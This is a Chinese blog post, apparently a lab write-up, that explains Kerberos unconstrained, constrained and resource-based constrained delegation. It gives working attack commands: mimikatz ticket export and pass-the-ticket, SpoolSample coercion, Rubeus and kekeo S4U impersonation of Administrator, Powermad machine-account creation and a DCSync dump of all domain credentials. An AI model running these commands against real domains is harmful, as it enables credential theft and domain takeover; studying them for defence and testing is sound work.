论安全萌新的自我修养

   :: 首页  :: 新随笔  :: 联系 :: 订阅 订阅  :: 管理

域委派攻击

简介

域委派是指将域内用户的权限委派给服务账户,使得相关服务账户能够以域用户的权限获得相关域内服务资源权限

主要还是充分发挥windows的权限控制,假设用户A利用自己的身份可以访问到一个网站B,请求网站的资源C,但是网站B上边本身没有资源C,那么网站B就需要用用户A的身份去访问另外一台机器去获取资源C再给到用户

非约束委派

用户A去访问服务B,服务B的服务账户开启了非约束委派,那么当用户A访问服务B的时候会将用户A的TGT发送给服务B并保存进内存,服务B能够利用用户A的身份去访问用户A能够访问的任意服务

1、用户机器向KDC(密钥分发中心)发送消息请求可转发的TGT1(认证票据)
2、KDC在消息中给返回TGT1(访问服务1使用)
3、用户通过TGT1请求转发TGT2(访问服务2使用)
4、KDC返回消息TGT2
5、用户使用TGT1向KDC申请访问服务1
6、TGS(票据发放服务)返回ST(服务票据)
7、用户发送AP_REQ请求服务1,包含了TGT1、TGT2、TGT2的sessionkey
8、服务1使用用户发送过来的TGT2请求KDC,并以用户身份请求服务2的ST
9、KDC返回服务2的ST到服务1,这里ST将来源请求标记为用户机器,而不是服务1
10、服务1以用户名义请求服务2
11、服务2回应服务2请求
12、服务1回应用户机器请求
13、服务1能够向KDC请求其他服务ST
14、KDC返回其他服务ST
15、服务1用用户名义请求其他服务
16、其他服务回应服务1

本地环境

域控如下

域内主机

委派功能仅服务账号与主机账号才有相关委派功能:

普通用户默认无相关权限设置:

如下将主机用户设置为非约束委派:

powerview查询配置非约束委派的账户:
Get-NetUser -Unconstrained -Domain 0day.org
查询配置非约束委派的主机
Get-domaincomputer -Unconstrained -Domain 0day.org

Get-domaincomputer寻找trusted_for_delegation也可,当服务账户或者主机被设置为非约束委派时候,userAccountControl属性将包含trusted_for_delegation

另外台机器的属性(其他环境的)

adfind查询非约束委派的主机:
AdFind.exe -b "DC=rootkit,DC=org" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
非约束委派的用户:
AdFind.exe -b "DC=rootkit,DC=org" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

利用案例

此处使用winrm服务远程连接域内主机:

此时域管的凭证已缓存于目标机器,使用域内机器登录本地管理员,导出相关凭证:
privilege::debug
sekurlsa::tickets /export

此时先尝试连接域控,均无法连接:

导入先前凭证:
kerberos::ptt 凭证名称
kerberos::list

需使用主机名进行访问,ip地址无法成功:

远程连接域控如下:

非约束委派&Spooler

默认情况下Spooler服务为自动启动

确认目标主机开启相关权限

通过SpoolSample.exe,向域控发起请求,强制其访问PC进行身份验证,此次更换了多个环境,均出现报错,等实战再尝试了
SpoolSample.exe OWA2013 PC-micle-Kit

后续用Rubeus来监听事件id为4624的事件,可以第一事件截取到域控的TGT,监听来自域控OWA2013的登录
Rubeus.exe monitor /interval:1 /filteruser:OWA2013$

后续再Rubeus导入base64的票据直接注入进内存
Rubeus.exe ptt /ticket:base64
用mimikatz也可
privilege::debug
sekurlsa::tickets /export

导入票据后ptt即可
kerberos::ptt XXX.kirbi
lsadump::dcsync /domain:rootkit.org /all /csv

约束委派

因为非约束委派的不安全性,约束委派应运而生。在2003之后微软引入了非约束委派,对Kerberos引入S4U,包含了两个子协议S4U2self、S4U2proxy。S4U2self可以代表自身请求针对其自身的Kerberos服务票据(ST),S4U2proxy可以以用户的名义请求其它服务的ST,约束委派就是限制了S4U2proxy扩展的范围

1、用户向service1发出请求,用户已通过身份验证,但service1没有用户的授权数据,通常这是由于身份验证是通过Kerberos以外的其他方式验证的
2、通过S4U2self以用户的名义向KDC请求用于访问service1的ST1
3、KDC返回给service1一个用于用户验证service1的ST1
4、service1可以使用ST中的授权数据来满足用户的请求,然后响应用户
注:尽管S4U2self向service1提供有关用户的信息,但S4U2self不允许service1代表用户发出其他服务的请求,这时候就轮到S4U2proxy发挥作用了
5、用户向service1发出请求,service1需要以用户身份访问service2的ST2
6、service1以用哦过户的名义向KDC请求用户访问service2的ST2
7、如果请求中包含PAC,则KDC通过检查PAC的签名数据来验证PAC,如果PAC不存在,则KADC返回ST2给service1
8、service1使用st2以用户的名义向service2发送请求,并判定用户已由KDC进行身份验证
9、service2响应步上一步请求
10、service1响应用户对自己的请求

主要就是收到用户请求后,代表用户获得针对服务自身的可转发的kerberos服务票据(S4U2self),用这个票据向KDC请求访问特定服务的课转发的TGS(S4U2proxy),并且代表用户访问特定服务,而且只能访问该特定服务

本地环境

此处如果没有用户,需要新建个用户,加上spn标识为服务用户
setspn -A MSSQLSvc/Srv-Web-Kit.rootkit.org:1433 dbadmin

设置服务用户对Srv-Web-Kit的cifs服务的委派

已知在约束委派的情况下,服务用户只能获取某个用户或者主机的服务ST,只能用模拟用户访问特定的服务,是无法获取用户的TGT的,如果能够获得到开启了约束委派的服务的用户的明文密码或者hash就可以伪造S4U的请求,进而伪造服务用户以任意账户的权限访问服务的ST

利用案例

通过kekeo请求服务用户的TGT
tgt::ask /user:dbadmin /domain:rootkit.org /password:admin!@#45 /ticket:test.kirbi
同理此处利用ntlmhash也是可以进行请求的
tgt::ask /user:dbadmin /domain:rootkit.org /NTLM:XXXXX

利用这个票据通过伪造S4U请求以administrator身份访问Srv-Web-Kit的ST
tgs::s4u /tgt:TGT_dbadmin@ROOTKIT.ORG_krbtgt~rootkit.org@ROOTKIT.ORG.kirbi /user:Administrator@rootkit.org /service:cifs/Srv-Web-Kit.rootkit.org

S4U2Self获取到的ST1,以及S4U2Proxy获取到的Srv-Web-Kit的CIFS服务的ST2会保存在当前目录下

通过mimikatz将凭证注入进内存
kerberos::ptt  cifs的凭证

确认具备相关凭证

基于资源的约束委派

注意:server2012才引入了基于资源的约束委派!!!

无需域管设置相关属性,请求ST的过程与先前的约束委派类似,传统的约束委派S4U2Self返回的票据一定是可转发的,如果不可转发那么S4U2Proxy将失败;但是基于资源的约束委派不同,就算S4U2Self返回的票据不可转发(可不可以转发由TrustedToAuthenticationForDelegation决定),S4U2Proxy也是可以成功,并且S4U2Proxy返回的票据总是可转发

总之需要用户对主机的属性具备写权限

本地环境

增加用户对主机的权限

powerview查询权限
Get-DomainUser -Identity 用户名 -Properties objectsid 获取sid
Get-DomainObjectAcl -Identity 目标主机名 | ?{$_.SecurityIdentifier -match "sid"}

如下,当前的dbadmin对Srv-Web-Kit具备完全控制权限,不仅限于GenericAll(完全控制),GenericWrite、WriteProperty、WriteDacl等等权限都是可以修改账户属性的。

进一步创建机器用户,这里用powermad的ps脚步即可
https://github.com/Kevin-Robertson/Powermad

Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount testsystem -Password $(ConvertTo-SecureString "test" -AsPlainText -Force)

powerview查询机器账户sid
get-domiancomputer testsystem
S-1-5-21-3759881954-2993291187-3577547808-2103

修改目标的msDS-AllowedToActOnBehalfOfOtherIdentity值,可使用powerview或ActiveDirectory

通过powerview

确认添加成功
Get-DomainComputer Srv-Web-Kit -Properties msds-allowedtoactonbehalfofotheridentity

如下可进行清除
Set-DomainObject Srv-Web-Kit  -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose

Get-ADComputer Srv-Web-Kit -Properties PrincipalsAllowedToDelegateToAccount

通过ActiveDirectory,仅12及以上的ActiveDirectory才有这个模块
Set-ADComputer Srv-Web-Kit -PrincipalsAllowedToDelegateToAccount testsystem$
Get-ADComputer Srv-Web-Kit -Properties PrincipalsAllowedToDelegateToAccount

利用案例

Rubeus

确认无法访问Srv-Web-Kit的资源

Rubeus是不支持明文的,需转为hash
Rubeus.exe hash /user:testsystem /password:test /domain:rootkit.org

用testsystem的hash请求白银票据并导入至会话
Rubeus.exe s4u /user:testsystem$ /rc4:0CB6948805F797BF2A82807973B89537 /impersonateuser:administrator /msdsspn:cifs/Srv-Web-Kit /ptt

这里已经拿到的凭证,但依旧无法访问到服务

此处psexec也无权限

尝试host票据,获得凭证信息如下
Rubeus.exe s4u /user:testsystem$ /rc4:0CB6948805F797BF2A82807973B89537 /impersonateuser:administrator /msdsspn:host/Srv-Web-Kit /ptt

但此处依旧无权限,很奇怪,这里做完host的凭证应该是正常的,暂时没解决这个问题,如果有大佬知道请一定告诉我,万分感谢

mimikatz

impacket的getst生成票据,ccache为相关缓存文件:
getST_windows.exe -dc-ip 192.168.3.144 rootkit.org/testsystem\$:test -spn cifs/Srv-Web-Kit.rootkit.org  -impersonate administrator

mimikatz导入凭证
kerberos::ptc administrator.ccache

确认凭证生成,确认目标服务能够访问到

参考
https://xz.aliyun.com/t/7217#toc-3
https://xz.aliyun.com/t/7454
https://skewwg.github.io/2020/11/25/ji-yu-zi-yuan-de-yue-shu-wei-pai-li-yong/
https://y4er.com/post/kerberos-constrained-delegation/
https://eviladan0s.github.io/2020/04/14/kerberos-delegation/#%E5%8E%9F%E7%90%86
http://www.const27.com/2020/10/12/%e5%9f%9f%e5%a7%94%e6%b4%be%e6%94%bb%e5%87%bb/
联系邮箱:yang_s1r@163.com 博客园地址:https://www.cnblogs.com/Yang34/
posted on 2021-01-11 21:00  Yangsir34  阅读(3392)  评论(0编辑  收藏  举报